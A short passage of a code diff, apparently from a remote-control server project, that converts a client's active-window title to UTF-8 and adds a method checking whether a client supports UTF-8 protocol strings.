WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL); + } + } + } + device["activeWindow"] = activeWindowU8; device["online"] = true; // Add device group to response diff --git a/server/2015Remote/context.h b/server/2015Remote/context.h index 29d64a6..7d5d520 100644 --- a/server/2015Remote/context.h +++ b/server/2015Remote/context.h @@ -60,4 +60,12 @@ public: if (caps.IsEmpty()) return false; return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_V2) != 0; } + + // 检查客户端是否使用 UTF-8 协议字符串编码。 + // 无此能力位的老客户端:服务端按 CP_ACP(CP936,覆盖 95% 的简中/英语 ASCII 老客户端)解读。 + bool SupportsUtf8() const { + CString caps = GetClientData(ONLINELIST_CAPABILITIES); + if (caps.IsEmpty()) return false; + return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_UTF8) != 0; + } };